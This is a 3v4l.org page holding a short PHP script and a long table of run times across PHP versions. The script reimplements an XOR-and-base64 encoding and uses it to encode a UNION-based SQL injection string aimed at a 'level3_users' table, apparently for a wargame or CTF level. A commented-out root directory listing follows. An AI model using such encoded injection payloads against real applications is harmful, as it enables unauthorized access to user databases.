3v4l.org

run code in 300+ PHP versions simultaneously
<?php function decrypt ($str) { if(preg_match('%^[a-zA-Z0-9/+]*={0,2}$%',$str)) { $str = base64_decode($str); if ($str != "" && $str != null && $str != false) { $decStr = ""; for ($i=0; $i < strlen($str); $i+=3) { $array[$i/3] = substr($str,$i,3); } foreach($array as $s) { $a = $s^192; $decStr .= chr($a); } return $decStr; } return false; } return false; } echo decrypt("MTI5MTY0MTczMTY5MTc0"); print "\n"; function encrypt($str) { $cryptedstr = ""; for ($i =0; $i < strlen($str); $i++) { $temp = ord(substr($str,$i,1)) ^ 192; while(strlen($temp)<3) { $temp = "0".$temp; } $cryptedstr .= $temp. ""; } return base64_encode($cryptedstr); } echo encrypt("Admin' UNION SELECT 1,2,3,4,5,6,7 FROM level3_users WHERE username=TheCow #"); print "\n"; print "\n"; #$handle = opendir('/'); #while (($file = readdir($handle)) !== false) # print $file. "\n"; #closedir($handle); ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0120.00918.31
8.3.50.0080.00821.21
8.3.40.0110.00419.09
8.3.30.0100.01018.86
8.3.20.0040.00418.85
8.3.10.0130.00620.38
8.3.00.0040.00421.90
8.2.180.0100.01017.00
8.2.170.0090.01222.96
8.2.160.0100.00322.04
8.2.150.0040.00424.18
8.2.140.0050.00324.66
8.2.130.0070.00026.16
8.2.120.0080.00019.57
8.2.110.0040.00722.10
8.2.100.0080.00418.16
8.2.90.0080.00019.36
8.2.80.0100.00018.05
8.2.70.0070.00317.88
8.2.60.0040.00417.93
8.2.50.0030.00518.07
8.2.40.0000.00718.34
8.2.30.0040.00419.92
8.2.20.0030.00617.89
8.2.10.0000.00817.91
8.2.00.0030.00518.01
8.1.270.0050.00323.99
8.1.260.0050.00326.35
8.1.250.0050.00228.09
8.1.240.0040.00820.54
8.1.230.0040.00820.95
8.1.220.0000.00818.77
8.1.210.0050.00318.95
8.1.200.0030.00617.60
8.1.190.0090.00017.65
8.1.180.0040.00418.10
8.1.170.0030.00618.88
8.1.160.0000.00718.95
8.1.150.0000.00818.82
8.1.140.0040.00417.64
8.1.130.0000.00717.82
8.1.120.0040.00417.54
8.1.110.0040.00417.55
8.1.100.0080.00017.66
8.1.90.0060.00317.61
8.1.80.0000.00817.55
8.1.70.0000.00717.53
8.1.60.0000.00817.72
8.1.50.0050.00317.73
8.1.40.0000.00817.70
8.1.30.0040.00417.83
8.1.20.0040.00717.75
8.1.10.0020.00517.75
8.1.00.0050.00317.76
8.0.300.0030.00720.06
8.0.290.0030.00616.88
8.0.280.0000.00718.51
8.0.270.0030.00317.31
8.0.260.0000.00716.91
8.0.250.0000.00817.14
8.0.240.0040.00417.15
8.0.230.0050.00217.10
8.0.220.0000.00717.06
8.0.210.0000.00717.04
8.0.200.0000.00717.02
8.0.190.0040.00417.18
8.0.180.0030.00617.00
8.0.170.0060.00317.08
8.0.160.0050.00217.10
8.0.150.0030.00617.08
8.0.140.0050.00517.07
8.0.130.0050.00313.49
8.0.120.0060.00317.02
8.0.110.0030.00617.06
8.0.100.0000.00717.19
8.0.90.0000.00716.90
8.0.80.0140.01417.11
8.0.70.0000.00817.03
8.0.60.0080.00017.02
8.0.50.0040.00416.85
8.0.30.0120.00917.24
8.0.20.0090.01317.60
8.0.10.0000.00817.07
8.0.00.0080.01016.91
7.4.330.0030.00314.86
7.4.320.0060.00316.70
7.4.300.0030.00516.73
7.4.290.0000.00716.68
7.4.280.0040.00416.74
7.4.270.0070.00316.77
7.4.260.0030.00313.46
7.4.250.0060.00316.68
7.4.240.0040.00416.91
7.4.230.0000.00716.95
7.4.220.0150.00416.85
7.4.210.0090.00716.81
7.4.200.0030.00316.95
7.4.190.0000.00816.91
7.4.160.0050.01616.82
7.4.150.0150.00317.40
7.4.140.0110.00917.86
7.4.130.0130.01016.80
7.4.120.0080.00916.68
7.4.110.0090.00916.88
7.4.100.0060.01216.60
7.4.90.0030.01316.84
7.4.80.0110.00619.04
7.4.70.0030.01316.71
7.4.60.0060.00916.60
7.4.50.0000.00816.65
7.4.40.0030.01322.27
7.4.30.0030.01216.71
7.4.00.0070.01014.94
7.3.330.0000.00513.41
7.3.320.0050.00013.48
7.3.310.0030.00316.60
7.3.300.0070.00016.39
7.3.290.0040.01116.62
7.3.280.0050.01216.56
7.3.270.0100.00717.40
7.3.260.0110.01118.24
7.3.250.0140.00616.73
7.3.240.0210.00016.96
7.3.230.0160.00316.87
7.3.210.0110.00616.77
7.3.200.0120.00619.39
7.3.190.0140.00916.48
7.3.180.0120.00916.52
7.3.170.0120.00616.74
7.3.160.0060.01016.60
7.3.120.0070.00715.33
7.2.330.0140.00316.83
7.2.320.0100.01016.93
7.2.310.0100.01016.95
7.2.300.0030.01316.92
7.2.290.0160.00316.89
7.2.00.0080.00819.72
7.1.100.0060.00618.50
7.1.70.0100.00317.48
7.1.60.0090.01519.40
7.1.50.0030.01017.15
7.1.00.0030.03322.53
7.0.200.0030.00716.89
7.0.140.0000.07722.09
7.0.60.0230.06319.96
7.0.50.0100.05017.93
7.0.40.0100.08317.87
7.0.30.0070.08017.89
7.0.20.0070.06717.77
7.0.10.0130.07317.77
7.0.00.0030.08717.87
5.6.280.0070.07021.06
5.6.210.0130.07320.67
5.6.200.0030.04318.23
5.6.190.0070.04318.29
5.6.180.0000.08018.19
5.6.170.0030.08318.18
5.6.160.0030.08718.18
5.6.150.0000.04718.28
5.6.140.0100.07018.18
5.6.130.0000.07318.21
5.6.120.0070.08018.29
5.6.110.0100.08318.15
5.6.100.0070.05018.27
5.6.90.0130.06718.12
5.6.80.0100.07017.67
5.6.70.0030.08017.67
5.6.60.0100.06017.60
5.6.50.0100.07317.57
5.6.40.0070.04317.64
5.6.30.0070.08017.50
5.6.20.0170.07017.50
5.6.10.0100.06717.54
5.6.00.0070.07717.50
5.5.350.0200.07720.43
5.5.340.0070.08017.96
5.5.330.0100.07718.07
5.5.320.0030.08018.02
5.5.310.0070.08317.93
5.5.300.0070.08018.03
5.5.290.0170.03017.98
5.5.280.0030.04318.01
5.5.270.0030.06717.93
5.5.260.0100.05717.98
5.5.250.0130.07317.79
5.5.240.0030.08017.38
5.5.230.0070.08017.32
5.5.220.0000.08317.39
5.5.210.0070.04017.36
5.5.200.0030.06317.37
5.5.190.0130.07717.44
5.5.180.0100.07317.31
5.5.160.0000.08317.34
5.5.150.0070.07717.33
5.5.140.0030.05317.34
5.5.130.0170.04017.30
5.5.120.0100.04317.36
5.5.110.0070.06717.27
5.5.100.0130.07717.23
5.5.90.0100.07317.20
5.5.80.0030.04017.29
5.5.70.0030.08017.32
5.5.60.0100.07717.22
5.5.50.0030.07317.32
5.5.40.0030.04717.25
5.5.30.0100.05017.16
5.5.20.0070.06017.18
5.5.10.0070.06017.19
5.5.00.0030.05017.16
5.4.450.0070.04719.34
5.4.440.0100.08019.38
5.4.430.0100.08019.46
5.4.420.0000.05019.30
5.4.410.0130.07019.31
5.4.400.0100.07319.27
5.4.390.0070.08019.03
5.4.380.0030.07319.03
5.4.370.0130.07019.05
5.4.360.0130.07319.04
5.4.350.0100.06719.14
5.4.340.0000.08719.10
5.4.320.0070.07719.05
5.4.310.0170.06719.08
5.4.300.0100.07019.05
5.4.290.0030.07319.27
5.4.280.0170.07019.13
5.4.270.0100.07319.11
5.4.260.0030.06319.01
5.4.250.0030.07719.02
5.4.240.0030.04319.04
5.4.230.0130.07318.88
5.4.220.0030.05319.00
5.4.210.0130.06719.13
5.4.200.0170.07019.01
5.4.190.0000.05019.15
5.4.180.0030.05719.04
5.4.170.0170.06719.13
5.4.160.0170.04319.11
5.4.150.0000.04319.03
5.4.140.0070.03716.26
5.4.130.0070.07016.29
5.4.120.0070.07016.45
5.4.110.0000.06316.48
5.4.100.0030.04016.53
5.4.90.0030.03716.45
5.4.80.0100.06016.51
5.4.70.0070.07316.46
5.4.60.0030.04316.21
5.4.50.0070.03316.38
5.4.40.0170.06716.46
5.4.30.0130.03316.41
5.4.20.0100.03316.29
5.4.10.0030.05316.37
5.4.00.0030.07315.68
5.3.290.0100.07314.63
5.3.280.0000.06014.62
5.3.270.0070.08014.68
5.3.260.0070.03714.71
5.3.250.0170.06714.57
5.3.240.0030.05714.46
5.3.230.0070.07014.66
5.3.220.0030.05714.53
5.3.210.0130.07314.61
5.3.200.0130.03714.61
5.3.190.0070.04314.64
5.3.180.0100.05314.67
5.3.170.0030.05314.59
5.3.160.0070.07314.58
5.3.150.0070.07714.61
5.3.140.0030.06014.55
5.3.130.0070.05714.60
5.3.120.0030.05714.58
5.3.110.0130.07014.63
5.3.100.0030.04714.08
5.3.90.0100.07714.08
5.3.80.0070.07314.23
5.3.70.0070.04714.06
5.3.60.0100.06713.89
5.3.50.0030.06714.01
5.3.40.0000.04313.84
5.3.30.0030.04313.95
5.3.20.0000.04313.80
5.3.10.0100.06313.88
5.3.00.0070.06313.53
5.2.170.0070.06011.04
5.2.160.0070.04011.19
5.2.150.0130.03311.25
5.2.140.0100.05711.20
5.2.130.0070.04311.01
5.2.120.0030.06711.18
5.2.110.0130.04011.07
5.2.100.0000.03711.00
5.2.90.0030.06311.15
5.2.80.0100.05711.14
5.2.70.0030.05311.10
5.2.60.0070.06311.13
5.2.50.0000.04011.02
5.2.40.0000.06011.11
5.2.30.0030.06311.00
5.2.20.0130.05310.86
5.2.10.0130.03710.82
5.2.00.0000.06710.72
5.1.60.0070.0509.97
5.1.50.0030.0479.84
5.1.40.0100.02710.02
5.1.30.0070.03310.39
5.1.20.0100.05010.32
5.1.10.0030.05710.07
5.1.00.0000.05010.18
5.0.50.0000.0278.63
5.0.40.0030.0478.42
5.0.30.0000.0638.18
5.0.20.0030.0408.29
5.0.10.0070.0408.13
5.0.00.0070.0578.18
4.4.90.0070.0177.62
4.4.80.0000.0337.62
4.4.70.0030.0337.62
4.4.60.0030.0337.62
4.4.50.0030.0377.62
4.4.40.0030.0407.62
4.4.30.0070.0307.62
4.4.20.0130.0277.62
4.4.10.0000.0237.62
4.4.00.0030.0407.62
4.3.110.0000.0377.62
4.3.100.0070.0207.62
4.3.90.0030.0337.62
4.3.80.0030.0577.62
4.3.70.0030.0177.62
4.3.60.0000.0407.62
4.3.50.0070.0237.62
4.3.40.0030.0507.62
4.3.30.0000.0377.62
4.3.20.0000.0377.62
4.3.10.0000.0337.62
4.3.00.0000.0207.62

preferences:
60.58 ms | 400 KiB | 5 Q